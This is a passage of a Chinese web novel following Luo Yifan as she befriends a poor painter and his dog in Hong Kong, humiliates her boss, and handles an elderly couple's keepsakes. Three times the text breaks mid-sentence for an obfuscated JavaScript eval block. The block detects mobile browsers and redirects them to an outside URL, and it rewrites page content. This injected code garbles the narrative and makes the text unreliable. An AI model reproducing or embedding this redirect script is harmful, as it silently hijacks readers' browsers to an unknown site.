骆一梵赶紧带他去见高阳,还说高老爷子等他半天了。 “老高怎么这么早就来了,好,我赶快收拾收拾去见他。” 两人一见面,便忘情相拥,恍如隔世。 两位老人心情激动,聊丹青,聊寺院生活,聊陈年旧事,聊昆曲,一聊就聊到半夜。 骆一梵神情麻木,相对漠然,但还是乖乖地听二老絮絮叨叨。 (一个在寺庙随便一出手就能捐五百万,还能大口抽烟; 一个骨瘦如柴,严重营养不良,掉了一块钱就像掉了身上的一块肉; 财富,地位,云泥之别,这样完全是两个世界的人,真的是朋友吗?真的能做朋友吗?) 是岂曰无衣,与子同袍? 还是金杯共汝饮,百刃不相绕? 骆一梵想到那个秘密任务,心里直咯噔。 8. 画痴 寺院生活真tm健康啊!!! 四点起床。 五点吃斋饭。(素面条拌榨菜) 六点听住持讲佛法。(明明说的都是人话,为啥一个字都听不懂???) 关键是住持讲起佛法一讲就是两个小时起步!!! (这跟我们老板开早会有什么区别???) 唯一不一样的是老板是pua我们往死里卷,给公司往死里挣钱,住持是cpu众生回头是岸,直接认命,苦海无边,回家吧,孩子。 骆一梵真想他俩现场PK一下。 “阿弥陀佛,佛光光,保佑天下黑心老板全都死光光,早日让我们打工人脱离苦海。”骆一梵双手合十,虔诚祈祷。 “一即是一切,一切即是一” (什么玩意?这群秃驴一看就是没上过班,大师们,时代变了,别不食烟火了,下山睁眼看看吧,这世道,钱才是一切。) 骆一梵实在是听不下去了,偷偷溜下了山。 听佛经时骆一梵要死不活,下山偷吃时骆一梵生龙活虎,一路火花带闪电就杀到了商业街。 奇怪,雪吟怎么在这? 繁华喧嚣的商业街中,只见雪吟躲在其中一个幽暗,僻静的角落里,画纸摊在地上,蹲下专注作画,旁若无人。 那句话怎么说来着,莫说相公痴,更有痴似相公者,难怪大家都叫他画痴! 叮叮铛铛,哐哐,一个小男孩丢了几枚硬币在画纸上。 也是,灰布僧袍,粗布绑腿,一人一狗,皆骨瘦如柴,这谁分得清你是和尚还是乞丐啊!!! “泽楷,不是教过你了,要有礼貌,给乞丐钱时要轻轻放在他的碗里,不要发出声音。”一旁的大人还在自以为是地教育小孩。 原来全天下的大城市都一样,没有人和人,只有穷和富,虚伪与沉重,工作与活着。 如果他们肯仔细看看那个所谓的‘乞丐’,就会发现,他长得明明更像圣雄甘地好吗!!! 雪吟倒是丝毫不觉,收下硬币后对着那对父子行了合十礼。 “老师父,你在画什么啊?”骆一梵上前打招呼。 “画游萍飞絮,风烟浮木。” 骆一梵顺着雪吟的目光望着路上行人,好家伙,这些人一个个LV包包,一整套名牌衣服,手表,珠光宝气。 完了完了,老师父被秃驴们洗脑成功了,居然以为这些天龙人是漂泊浮萍。 她好奇地站在雪吟后面观察他作画。 说实话,画得真是有点抽象,怎么看,画中人都像是在扣脚,抓虱子,便秘,吐痰…… 咱俩看的真是一个景吗? 约莫一两个小时,他可算是画完了,收好纸笔,正欲离开时,骆一梵叫住了他。 “老师父,晌午了,我请你吃午饭吧!” “可是,这里的饭太贵了,我还是回去吃斋饭吧!” “别担心,高老给了我一张卡,不瞒你说,我骆一梵现在穷得只剩钱了,老师父,你想吃什么,只管点,咱敞开了吃,补补营养。” 然后,雪吟就带她来到了麦当劳门口。 骆一梵沉默了。(我怎么记着,出家人,好像不能吃肉吧!) “其实,我不是和尚,我只是半辈子寄住在寺庙,至于头发,几十年前就秃完了。”雪吟看出了她的顾虑。 骆一梵一瞬间就明白了为什么高阳每年都要给九华寺捐五百万。 高阳大师这是有病吧,有这五百万,你直接给雪吟不就行了,至少,也可以给他买个智能手机啊,吃几顿饱饭啊!!! 骆一梵带着雪吟师父和小柴走进了最近一家麦当劳店,只见她大手一挥,掏出金卡,指着电子显示屏: “把这些套餐全都上一轮。” 服务员一边接过金卡,一边疑惑,哪来的煞笔,出门没吃药?后面怎么还跟着一个和尚? 天要下雨,娘要嫁人,和尚要吃肉? 真是世风日下,服务员一气之下将所有套餐中的可乐雪碧全换成了鲜萃咖啡。 雪吟要了十几包糖,一股脑加到咖啡里了,和小柴风卷残云。 “痛快!痛快!”一边吃一边感叹。 骆一梵此刻简直像十万个为什么,一直给高阳疯狂发微信问东问西,结果等雪吟和狗都快吃完了,他也没回。 “老师父,既然你不是修行之人,那你家人呢?” 雪吟脸上露出痛苦神色,好半天,他才说了句:“我早就没有家人了,如今的我,只是飘落到南方的一片雪花。” 骆一梵赶紧转移话题。 “那您是怎么从西北来到了香江,来到了九华寺?” “其实,我是被命运的大风大浪吹到了香江,索性九华寺不要房租,包吃包住,一呆就是十多年。” (真是听君一席话,如听一席话!!!) 骆一梵又转而给高阳助理发消息,问能不能联系到高阳,她现在有很多事一头雾水。 “要不,您试试在抖音私信里私聊他,我给您发他的小号。” 好家伙,退出微信转战抖音后,高阳先生秒回。 “高阳大师,想问一下,既然你为了雪吟师父,每年给九华寺捐这么多钱,这钱,为什么不直接给雪吟师父啊!” “有这钱,他都可以在香江买房买车了。” 高阳大师边刷短视频边回复:“想要一心一国的国画,就得有一心一国的生活。” “可是,雪吟老师父的生活真的很贫乏,平时连杯豆浆都买不起,经常饿着肚子画画。一件僧袍,又是用来穿,又是用来擦脸擦手擦脚。” “你不懂他,他对于物质所求的并不多,一天能有一口饭吃,便足矣。” “我认识他几十年,他从没想过什么功成名就,出人头地,他只想着默默把画画好。” “真不敢想他这些年是怎么过来的?”骆一梵感叹着。 “骆姑娘,不必担心,你所见的,不过是他物质上的匮乏,可在精神上,他可是比你我都富有千百倍。” “这世道真是怪了,年轻人都怕没有物质,却无人会害怕没有灵魂,更有甚者,会为了金钱出卖灵魂,老夫私以为,后者才是真正的穷光蛋。” “高阳大师,您不穷,您可能不知道在现在这个社会,没有钱是多可怕,多少人蛀牙了没钱补,近视了没钱配眼镜,身体越拖越残,您看看,雪吟大师的牙都没剩几颗了。” “钱就是春药,会毁了一个又一个艺术家。” “雪吟活在他自己的桃花源里,在那个世外之地,没有网络,没有手机,没有什么乱七八糟的艺术圈子,只有笔墨丹青,来自北方的漫天飞雪,彻骨寒风。我只是在尽力成全他。” 骆一梵两眼直翻,真是理科生遇到了艺术生,有理说不清。 紧接着高阳又发来一条私信,“小骆,年轻人也不要太过于执念,人生走到最后都是一场空!” (莫名其妙,这是在点我?可老娘就是既要又要,咋滴啦?不服?) 骆一梵已读不回,转而又问起了雪吟:“老师父,您觉得高阳大师是个什么样的人?” “他是这个世界唯一懂我的人,只有他懂我的画。” “我画画随心所欲,从没学过什么专业技法,更没有拜过什么名家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579587|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大师,他们都说我的画像三岁孩子画的,只有高阳,他懂我画中幽微不能言之处。” “那你了解他吗?” “他说他是一个北方商人,手里有点积蓄,其他的我不清楚。我只知道他很懂画,心里不快乐,前一段时间刚得了ALS,他说这是一种时间病,和时间赛跑,和阎罗王拼刺刀。” 骆一梵有点犹豫,要不要告诉雪吟,他口中的那个商人其实是当代国画第一人,一幅画就能卖一个小目标…… 想了想,还是别刺激了雪吟了,有的艺术家天天看刷抖音看h片,百亿资产,有的艺术家能活活饿死,没房没车,人比人,气死人…… “老师父,假如,我是说假如,您和高阳大师一起比赛画画,您觉得谁更胜一筹呢?” 雪吟笑了笑:“这应该不能比吧,高阳很懂画,很会画画,我喜欢画画,一直画画,我们不是一路人。” “可这个世界大家都在比啊!我上学的时候老师让我们比学赶帮超,上班的时候老板逼着我们比学赶帮超。” “如果非要比的画,我想,世人应该会喜欢高阳的画,他是用才华和灵气作画。而我,从没学过画,什么都不懂,只能用生命画画。” “想想这天下,最不缺的就是人,生如蜉蝣,命若草芥,香江每天都有出车祸的,跳楼的,病死的,饿死的,加班累死的。此地,命是最不值钱的。” 作为底层打工人牛马,骆一梵狠狠共情了,流着泪看着雪吟和小柴嗦鸡骨头。 或许,昨天在华懋饭店,高阳也是这般看着自己的吧!倦看牛马也倦。 “老师父,值得吗?你燃烧生命画画,你倒是热爱它,可它爱你吗?它可从来都没有反过来拥抱您一下啊!” “有这半辈子时间,您就算老老实实找个班上,也能挣个几十万了,至少也能吃好穿好。” 雪吟叹了口气:“这些话,我家人以前也劝过我。我不是逃避,比起画画,上班真是这个世界上最无趣的事,我生来就不是为了挣钱。” “骆姑娘,画画是我唯一的归宿,香江四季如夏,可每当画画时,我就能感觉到周遭在下一场雪,雪落无声,但它一直在下,一直在下,纷纷扬扬,天下大白,万物归宁。” “我这一生一事无成,可以说是彻头彻尾的大失败。或许我,本就只是北国的一场雪,不合时宜,错投生成了人。” “不不不,您的画很好,高阳大师这次带我来,不仅仅是让我将小柴带回去,更是要将你的画作悉数带回去。” 雪吟诧异:“老高怎么没和我说这回事啊?” “他怕你不同意,那些画,就是您的命根子,您肯定舍不得”,骆一梵索性豁出去了,将真相全盘托出。 “他原本打算先斩后奏,等画上了飞机再和您说。” 雪吟轻轻一笑,“我的画能送到懂它的人手中,何乐而不为。高山流水,难觅知音。壮士暮年,丹青与小柴,能托付给故人,正当其时。” 几日后,高阳包机回S城,四个小时飞机行程,他又一次把那些画仔仔细细里里外外看了一遍,不禁大骂: “妈了个巴子,世人傻逼,该爱的时候去恨,该睁眼的时候瞎了。” 骆一梵不解:“大师,就凭您的地位,雪吟老师父的画不能运作运作吗?我看内娱好多资源咖,又丑又low,现在照样也炒作成大明星了。” 高阳叹道:“超越时代的艺术和落后时代的艺术都是为世人所不容的。” “那人们要多久才能赶上雪吟老师父的那个‘桃花源’时代?” “或许要五十年,或许就是明天,只有天知道。” 9. 没有工作,只有演技 骆一梵买了碗热干面,抱着小柴来到了公司。 一进公司,就有同事阴阳怪气:“小骆啊,好几天没见,最近接到大单啦?” “没有啊,根本接不到活。” 对方的声音立马夹了起来,表情故作惊讶:“哟,我这看你天天下班那么早,没事就请假,我还以为你早就签了大单,给公司创造百万盈收了。” 骆一梵微微一笑,翻了个白眼。 几分钟后,老板穿着他那目测有十厘米内增高的皮鞋“哒哒哒”地杀进办公室。 “啪”的一声,一沓文件被重重摔在桌子上,老板大吼一声:“五分钟后到301开早会。” 对于老板隔三岔五的抽风行为,骆一梵早就见怪不怪了,她淡定地坐在后面,将热干面拌好。 有同事特意绕到后边,在骆一梵面前提前预警:“侬死定啦!” 骆一梵嗤之以鼻,心想,真是池浅王八多,我死不死关你什么事! 301会议室里,老板先是激情澎湃地吹了半个小时的牛逼,紧接着又豪情万丈地画了半个多小时的大饼。 一顿操作猛如虎,都快给骆一梵说睡着了。 骆一梵忍不住连打几个哈欠,有位好心姐姐疯狂给她使眼色,她这才收住表情。 环顾四周,只见除了自己,所有同事都在认真地记笔记,极其认真地听老板发言,时不时猛地点几下头,表情彷佛醍醐灌顶,顿悟一切,又拿起笔,赶紧记下几句…… 妈耶,摩西的信徒都做不到这样虔诚!!! 骆一梵真是没眼细看,这哪里是公司,这简直就是北电中戏TVB,你们加班卷就行了,不要演技也卷呀!!! 照流程,早会到了‘杀鸡儆猴’的批斗环节,老板目光直指骆一梵。 骆一梵此刻‘心领神会’,西八,今天轮到老娘飙演技了。 “有些同事严重摆烂,姓氏还挺少见,在这里我得顾及女员工的自尊心,就不指名道姓了,忙活了半天就开了一个35块钱的委托单,还为了这个单子,一个人跑到香江,忙活来忙活去,被人当猴耍。” 同事一阵憋笑,骆一梵努力挤出内疚,难过,羞愧的表情,视线抬头对准天花板的大灯,争取让强光刺激使眼泪流出来。 “35块钱,在S城最多点一顿外卖,而我们的这位好同事,居然如此傻逼,见到单子就屁颠屁颠跑过去了,在学校,这是理想主义者,可在社会,这种就是傻逼,大傻逼。” 同事们笑倒了,骆一梵故作难过,站了起来:“对不起,老板,我太蠢了,下次我一定好好改正,给公司多拉单子,多赚钱。” “知道就好,骆一梵,我记得你刚来公司的时候,还嫌弃过公司给你开的工资太低了,现在,我当着大家伙的面明确告诉你,公司一向是按能力给薪水。” “你骆一梵,一事无成,屁都不会,你就只值这几千块钱。” “是,我知道几千块钱在S城只够房租,我知道大家心里有意见,可有种的话你们就给我拉几个大客户,让我见见你们的本事,到时候不用你们提,我自掏腰包都会给你们涨工资,可你们呢?一个二个三个都在摆烂,整天就想着啥也不用干,天上就能掉下来钱……” 说了半天,老板就是故意不提“骆一梵你坐下吧”,没办法,骆一梵只能继续“罚站”,继续装出羞愧痛苦的样子。 老板伸着食指指着骆一梵:“我知道,在公司,像骆一梵这样混吃等死的人很多,我不提,可我心里明镜似的……” 说时迟,那时快,小柴一个箭步冲上去,对着老板的食指猛咬了一口。 老板吃痛大叫一声,此刻同事们都很有默契地假装受到惊吓,退到一旁,没一个人上前帮忙拦住那只狗。 骆一梵也假惺惺地伸出手,故作惊恐地叫道:“小柴,不要,不要,不要,快回来。” (哈哈哈哈哈哈哈哈哈,快吧,准吧,狠吧,我昨天训练它一整个晚上呢!!!只要谁伸出食指指人,它就咬谁,嘻嘻!!!) 如果幸灾乐祸有声音,此刻301会议室一定震耳欲聋。 好半天,老板才彻底挣脱小柴,他用另一只完好的手抄起手边的一个硬壳文件夹就往小柴身上砸。 骆一梵见势立马冲上前拦住他,“老板,这是客户的狗,不能伤害啊,打狗,还要看主人啊!” “滚,别再给我提你那个穷光蛋客户。”老板猛地一推,将骆一梵推倒在地。 见到骆一梵被推倒了,小柴龇着牙,对着老板狠狠嗷嗷了几声,老板将文件夹砸了过去,小柴一躲,完美地避开。 “老板,那个客户是高阳的好朋友。” 突然,整个会议室安静了起来,骆一梵只能听到小柴的喘气声。 老板蹲下来,将骆一梵慢慢扶起来,一脸期待地问:“高阳,你说的可是那个国画大师,身家百亿的高阳?” “就是他。”骆一梵点头如捣蒜。 “他和那只狗关系怎么样?”老板试探问道。 “关系很好,时不时就漂洋过海去香江看小柴。”一边说着,骆一梵一边打开手机相册,划给老板看。 老板认认真真看了每一条高阳和狗的合影,再一回头,看了看那只炸毛老狗,眼神都变得和善起来了。 “好狗,真是一条好狗,骆一梵,既然是客户的狗,那就养在公司里吧,狗粮,狗窝,反正各种七七八八的,走公司的账报销,对了,明天让人事再腾出一间大空调房,铺上假草坪,给它耍。” 老板一直盯着那条狗,赤裸裸,充满欲望。 目光流转之间,老板又转过头问骆一梵:“明明那个客户都有高阳这样大富大贵的朋友,怎么佣金才给35块钱?骆一梵,你不是在蒙我吧?” “老板,客户是修行之人,钱财于他们,等同粪土。您,是不是不太了解出家人?” 老板若有所思地点点头,喃喃道:“也对,大艺术家都是怪怪的,他们的朋友,估计也不是什么正常人。” 早会过后,小柴经历了从人人喊打到人人追捧的过山车式待遇,此刻正悠哉悠哉坐在老板椅上吃狗娘。 期间,不停有人拿着火腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579588|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肠试着讨好它,它一律汪汪几声赶走这些“苍蝇”,只允许骆一梵靠近。 这下整得骆一梵心里暖暖的,狗狗真是人类的好朋友,它只是不会说话,但心里啥都懂。 至于老板,他老老实实拎着那根鲜血淋漓的食指,开车去医院打狂犬疫苗了。 一狗得道,鸡犬升天,拖小柴的福,再也没有人敢阴阳怪气骆一梵,她想几点走就几点走,想请假就请假,哪怕一个星期都没接到一张单子,老板也不敢说什么。 就这么明目张胆地在办公室混吃等死半个月,骆一梵才接到一个单子。 骆一梵这次吸取经验,不急着接单,她提前做好了功课。 原来,这次的客户是一对老年夫妻,二婚重组家庭。 两位老人家年轻时是彼此初恋,感情据说很深,但是阴差阳错没在一起。 那一别,就是四十多年了。 等到两位老人再相见的时候,双方的孙子孙女都能打酱油了。 许是和原来的老公/老婆也是柴米油盐四十多年过得够够的了。 两人一见面就人生若只如初见,何事秋风悲画扇。 又是旧地重游,又是一起重温了当年约会时看过的老电影,又是翻出了当年写给对方的情书…… (别问我怎么知道的,永远不要小看当代年轻人的八卦能力。) 野火烧不尽,爱情吹又生,然后就爆发了两个家庭的第二次世界大战。 争吵,儿女站队,财产分割,家务罢工,鸡犬不宁,绝食威胁,离婚,再婚……所爱隔山海,山海皆可平。 (二老有这毅力,当年怎么没坚持着在一起啊???) 和现任离婚老死不相往来,和初恋破镜重圆后,二老的日子是相当滋润。 至于怎么个滋润法,这样说吧,二老彼此都觉得,前四十多年和原配一起生活的日子都是屎,生的孩子也是屎上雕花。 老爷爷每天情话浓浓:“一个人总是会回到他最初爱上的那个人身边。” 老奶奶时常向老爷爷诉说前半生的委屈:“婚姻就是咽别人咽不下去的剩菜剩饭。” “没事,都过去了,现在我回来了。” “这一次,我不要当谁的奶奶,谁的妈,我要为自己好好活一次。” 双方子女:“啊啊啊啊啊,我们不能接受,你们这是婚内出轨。” 二老:“明明当年我们才是最先认识的,要说出轨,这四十年本就是在一条错轨上,如今,我们只是重新回到了正轨。” 双方的原配们:“跟谁搭伙过日子不是过日子,既然,他俩非要在一起,那就在一起吧!咱俩都被落下了,要不咱俩也搭个伙过日子,孙子孙女也好带,也不用搬家换房子了,更不会给儿孙添麻烦。” (还是老一辈思想开放看得开啊!!!不是,你们老一辈连婚姻都能摆烂,凭什么说我们年轻人摆烂不作为。) 双方子女:“好像也可以接受了,家散了,但没彻底散???” 骆一梵不禁想起了自己的初恋,深有感触,决定接下这一单。 10. 初恋 老爷爷说,一个人最终还是愿意回到他最初爱上的那个人身边。 骆一梵代入了一下自己的初恋,感觉老爷爷就是纯放屁。 其实也算不上是初恋,就是自己单方面暗恋,明目张胆地暗恋过,轰轰烈烈地追过。 如今回过头来看,那小子当年确实是个人物,人长得可以,成绩也好,健康阳光,一看就是在家里被妈妈教育很好的样子。 不止骆一梵,光是同年级里暗恋他的女生都能排到食堂二楼。 为了他,学校里的真美女天天装才女,真才女又天天装美女。 可这小子,油盐不进,别人早恋亲嘴,他坐那刷题; 别人约会看电影,他躲在角落里安安静静地看书; 舍友翻墙开房,他翻墙出去放风筝; 甚至乎,目睹同学们海誓山盟血雨腥风的琼瑶式早恋,这小子还暗自庆幸:苍天啊,大家怎么都在谈恋爱,还好我把大家用来谈恋爱的时间用在了刷题上,不然我也完蛋了。 高三那一年,眼看大家都要各奔东西了,骆一梵鼓起勇气给那小子写了封情书。 所谓的情书,也就是认认真真抄写了一遍叶芝的英文情诗《when you are old》。 收到情书后,他还潦潦草草写了回信: “见信如晤: 骆一梵同学,你好!我已明白你信中的要领。 承蒙厚爱,……(以下省略一大堆好人卡,对此,骆一梵翻了个白眼表示并不想回忆) 希望你从感情的山穷水尽走向人生的柳暗花明,豁然开朗…… 也希望进入大学后你很快就能写信给,下一个后来者,届时,希望你执笔选择原创。 对了,eye这个单词是负数,要加s,希望下一次抄信时及时勘误。” 骆一梵一收到回信,气得直接将信给撕成八瓣。 回忆戛然而止,她拿起手机,搜了一下那小子的近况。 什么,这小子有种,居然跑去德国留学了!!! 风闻在德国留学三年将是人生五年中最难忘的七年,骆一梵掐指一算,若是以后有机会见面,估计得五十年后了。 那个时候,岂不正是“当你老了,头发花白,睡意沉沉”的时候!!! 对此,骆一梵一定要在他戴着助听器的耳边恶魔低语: “多少人爱慕你年轻时的样子,假意或真心,只有我,骆一梵,早早就知道你的eyes是瞎的!!!” ******* 委托单其实很简单,就是老爷爷和老奶奶分别将各自的最珍贵物品寄存在骆一梵那里,若其中一位先走了,他/她的遗物将全部转交给另一位未亡人,若二老同时离世,他们的遗物将分别转交给各自的儿孙。 (这不是脱裤子放屁吗?) 骆一梵仔细想了想,或许老爷爷老奶奶是想给对方足够的安全感和依靠吧! 哪怕自己死后,对方得到的爱与珍重都不会减少。 至于两方儿女,早都懒得管了,爹妈爱怎么折腾就怎么折腾吧!反正房子已经顺利继承了,其他的破破烂烂,他们自己爱留给谁就留给谁吧! 两位老人是各自私下将“遗物”转交给骆一梵的,谁也不知道对方在她那寄存的是什么东西。 看看人家老年人多会搞浪漫,骆一梵感叹,自己当初怎么瞎了个狗眼看上那个没有感情的小“木头人”。 老爷爷的遗物是祖上的传家宝—— 一对翡翠镯子。 据老爷爷说,这传家宝他跟谁都没提过,经历过十年浩劫,深谙财不外露的真谛。 前妻不知道,儿女也不知道,老爷爷偷偷找过专家鉴定,这镯子价值七位数。 “这辈子我始终觉得,只有念容才配得上这镯子。”老爷爷原话。 “那您为什么不直接给奶奶呢?她收到一定会很开心的!” 老爷爷摇了摇头:“傻孩子,我还活着的时候就把这传家宝给念容,那我前妻,我那些孩子要是知道了不跟我闹啊,不跟我拼命啊?” “可是,您走了再给她,你家里人就不会闹吗?” “他们啊,最多也只能闹闹我,我是他们的亲爹,他们一哭二闹三上吊,我能不管不顾吗?等我一蹬腿,他们还能找谁闹,找念容,那不太能够,念容的孩子多厉害啊,他们能讨到什么便宜!” 骆一梵想了想,觉得有些道理,人真正能伤害的,好像也只有至亲之人了。 骆一梵小心收好那对玉镯,在银行租了个保险柜,做好公证,签合约。 至于老奶奶的“遗物”,令她感到意外的是,那并非什么值钱的物什,而是一整抽屉的信。 奶奶轻轻抚摸着这些略泛黄的信件,微笑着说: “这些是我这么多年写给他的信,一直写,却一个也不敢寄。我想着若是有一天我先走了,这些信也能替我陪着他,也算是没有辜负这么多年的情谊。” “前半生我有许多话想对他说,可惜,那时候他妻儿美满,我只能把心思都写下来,锁到抽屉里。现在我们又在一起了,可惜已经老了,好多话也心有余力不足了,罢了罢了。这结局对我来说已经很圆满了,我知足了。” (卧槽卧槽,一整个抽屉的信,每一封都好厚,比我过年红包还厚,老奶奶那些年是怎么熬过来的啊?) 老奶奶的头发花白,眼角有笑纹,言谈举止依旧优雅,有一种说不出来的岁月沉淀的美。 言谈方知,奶奶那一段四十年“金婚”加起来,和丈夫说过的话也不超过两百句。 明明囿于厨房,光是柴米油盐和养育孩子每日便忙得不可开交,可她却感觉走向了自己的孤独国。 “他只管挣钱,我只管洗衣做饭带孩子,日子就这么一天天过去了。” “每年结婚纪念日,孩子们都会订蛋糕,庆祝我和那个人的金婚,街坊邻居也常说羡慕,十里八乡就数我们两口子不吵架。” 时至今日,奶奶说起这些,仍是无限唏嘘,口中喃喃道: “四十年啊!整整四十年啊!” 临别之际,奶奶还特意送了骆一梵一条丝巾,作为见面礼。 骆一梵盯着老人离去的背影,心有所感,赶紧给妈妈打电话: “妈妈,要不你也再找一个,我有钱,给你当嫁妆。” “什么意思,梵宝,怎么了?” “妈妈,你一个人会不会太孤独了,你这个年纪还年轻,还可以谈恋爱,旅旅游,你想干什么就去干什么,我都支持你。” 电话那边传来一阵爽朗的笑声,“我才不要找个男人嫁了,你妈我不爱给人当保姆。” “那你有什么想做的吗?” “这个啊,我想想,我想学钢琴,小时候看别人家姑娘弹钢琴,又优雅又大方,可羡慕死我了,可惜家里穷,我这辈子连钢琴都没摸过。” “好,这个好。妈妈,小小一个钢琴,我还是不在话下的。” “哈哈哈,梵宝,你上班是受什么刺激了吗?” ………… 骆一梵挂了电话,立马在网上订了一架钢琴,要求客服现在就发货。 客服:???这可是钢琴,不是键盘,哪能那么快就运输??? 骆一梵:不管不管,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一个保险柜是念容奶奶的,信件塞得满满当当; 两个保险柜是紧挨着的,起初骆一梵是为了让二老的“真心”紧紧相连,如今再看,只觉讽刺。 念容奶奶重重地叹了口气:“我这辈子念来念去,都是一场空。” “奶奶,别这么说,谁的人生不是一场空。” “我真傻,怎么会相信爱情,怎么会觉得我在人家心里的分量很重,怎么会念念不忘四十多年。” “奶奶,不就是一个镯子吗,有什么大不了的,他不给,我们还不要呢!” “骆姑娘,没事的,我只是突然明白了为什么当年他不娶我,原来一直都是我爱他,远胜于他爱我。随便一个风吹草动,他最先舍去的,都是我。” “是我,一直在自己骗自己,是我,明明经历了那么多生离死别还这么天真,相信他真心对我。” “以前我根本不知道他有这镯子,我不在意这镯子,我只是太心寒了,他做什么利弊权衡都要瞒着我,告诉我又何妨,我自会亲手把镯子送过去,可他,永远都是瞒着我,什么都不跟我说,他骗了我一辈子。” “以前也是,现在也是,从来都是这样,和谁在一起都是这样。以前在婆家不管多累多憋屈,我都会告诉自己,要是我当年嫁的人是他,他肯定会对我好的,他肯定会真心待我。我就是嫁错了人,只走错了这一步。” “现在我知道了,嫁谁都一样,和谁在一起都一样,我真傻,总把幸福不幸福交到别人手上。” 念容奶奶掏出手帕轻轻拭了眼泪。 “奶奶,你接下来打算怎么做?”骆一梵问道。 “小骆,你帮我把那些书信都烧了吧!” 一边说着,念容奶奶一边取下了手中戒指,交到了骆一梵手里。 “这才是念容应该放进保险柜的遗物。” 11. 昨日死 再后来,两个保险箱里各放了一枚婚戒,一份留着还给现在的丈夫,一份留着还给前夫。 两段婚姻,两枚婚戒,交出“遗物”,赎回自己。 “遗物已经放保险柜了,念容早就死了,我不要做念容了。”刚开始骆一梵还不理解奶奶的话。 直到一个月后,奶奶新店开业,邀请骆一梵前去作客。 骆一梵七拐八拐,转了几趟车,又弯弯绕绕曲曲折折走了半个多小时才找到念容奶奶的那家福鼎肉片店。 这也是第一次,骆一梵见识到了魔都还有这么“乡土”的一面,说的好听点是城中村中的城中村的村,说得不好听,这摆明了就是棚户区,贫民窟。 无家可归的,付不起房租的,外卖员,快递员,得了重病的,找不到工作的文科生,大家都在这几条暗无天日的街道里苦熬着。 她想不通,这里又没有阳光,阴暗,潮湿,逼仄,念容奶奶怎么会选在这开店。 “小骆,快来来,看看我这个店怎么样?”念容奶奶介绍小店满脸骄傲。 骆一梵环顾四周,整个小店也就两个半单人床那么大,有几位顾客一手捧着碗一手拿着筷子站着吃。 桌子和厨余用具也很陈旧,墙面都是黑的,看得出来,上一任店主是做炒饭的。 她绞尽脑汁想了半天,才想到怎么夸出口:“打扫得很干净,肉片一看就是很好吃。” “这家店我相看了好久,人流量大,店铺便宜,还能明火。” “奶奶,您把这家店买下来了?” “是的啊,上一任店主回老家享清福了,就把店便宜转给我了。” “那你家里人同意吗?” 奶奶摇摇头:“他们都觉得我疯了,拿一辈子的积蓄去盘一个破铺子,以为我更年期,快七十了突然就要出去创业。” “我才不管他们怎么说,我都为了他们活了大半辈子,现在,我也该为自己活了。” “虽然说,七十也是闯的年纪。可是,做餐饮很辛苦。我听人家说,半夜两三点就得起来备菜。”骆一梵充满担忧。 “我不怕辛苦,就怕一辈子活得不像个人。” 念容奶奶拍了拍骆一梵的手,在她耳边偷偷说道: “小骆,不怕你笑话,我这一辈子真是一直在当牛做马,没出嫁之前给爹娘当牛做马,干农活,照顾弟弟妹妹。嫁人后给老公一家当丫鬟使,公公婆婆,难伺候得嘞。” “好不容易熬走了公婆,以为能喘一口气了,结果儿女又渐渐大了,事多麻烦多,还不好管教,总觉得我们这些做父母的欠他们,临老临老,还要带孙子孙女,你不给老大带孙子,不给老二带孙女,人家马上就能不认我这个妈。” “那些日子,到底是怎么熬过来的,真不愿想,也不敢想。” “现在,我觉得一点也不累,反而痛痛快快的,想几点开张就几点开张,挣多少花多少,也不用看人眼色。” “奶奶,您做得对,我支持你。” 念容奶奶指着天空,笑道:“念容死了,我不要做念容,我就要在这当福鼎肉片小老板。” 骆一梵吃了一碗肉片,又盛了一碗肉燕,赞不绝口。 “天哪,奶奶,您深藏不露啊,这肉片很好吃,又清香又开胃,一点也不腻。” 奶奶得意地笑了笑:“那可不,肉都是我每天天不亮就去菜市场挑成色好的后腿肉,肉泥是边加冰水边绞的,香菜也是阿奶我自己种的,什么乱七八糟的佐料我都不放,那玩意不健康,吃多了反而麻舌头。” “奶奶,我要再来六份,我要打包,给同事和小柴带点。” “放心,管够。” “奶奶,你做得这么好吃,生意一定很好。” 念容奶奶狡黠一笑:“怎么,你在这站半天了才发现啊。” (我怎么发现?现在不是饭点,又看不出人流量。)骆一梵四处瞅瞅,发现垃圾桶里一大堆用过的一次性筷子,恍然大悟,看来上午生意不错啊! 她弯下腰,在骆一梵耳边悄悄说:“开业前我摆摊试卖过一段时间,生意非常好,我偷偷算过,大概十年,我就能把买铺子的钱挣回来,不到三年,我就能把欠老大老二的钱全还完。” 骆一梵环顾四周,这片贫民窟,哦,不对,是棚户区,十年??? 以魔都的变态发展速度,怕是不到十年就得被拆迁了吧??? 这要一拆迁,卧槽卧槽卧槽,那念容奶奶岂不是要发了。 骆一梵紧紧握住奶奶的手:“奶奶,你一定要坚持住,坚持就是胜利,十年,一定要撑到十年。钱不够的话你找我,我投资,一定要把生意坚持下去。” “好好好,快吃吧,一会就凉了。” “对了,一梵,你念过大学,能帮阿奶起一个店名吗?阿奶不想叫念容福鼎肉片,更不想叫阿奶福鼎肉片,一定要起一个响当当的店名。” 新生福鼎肉片?立意很好,可是一加上福鼎肉片四个字,总感觉不够响亮。 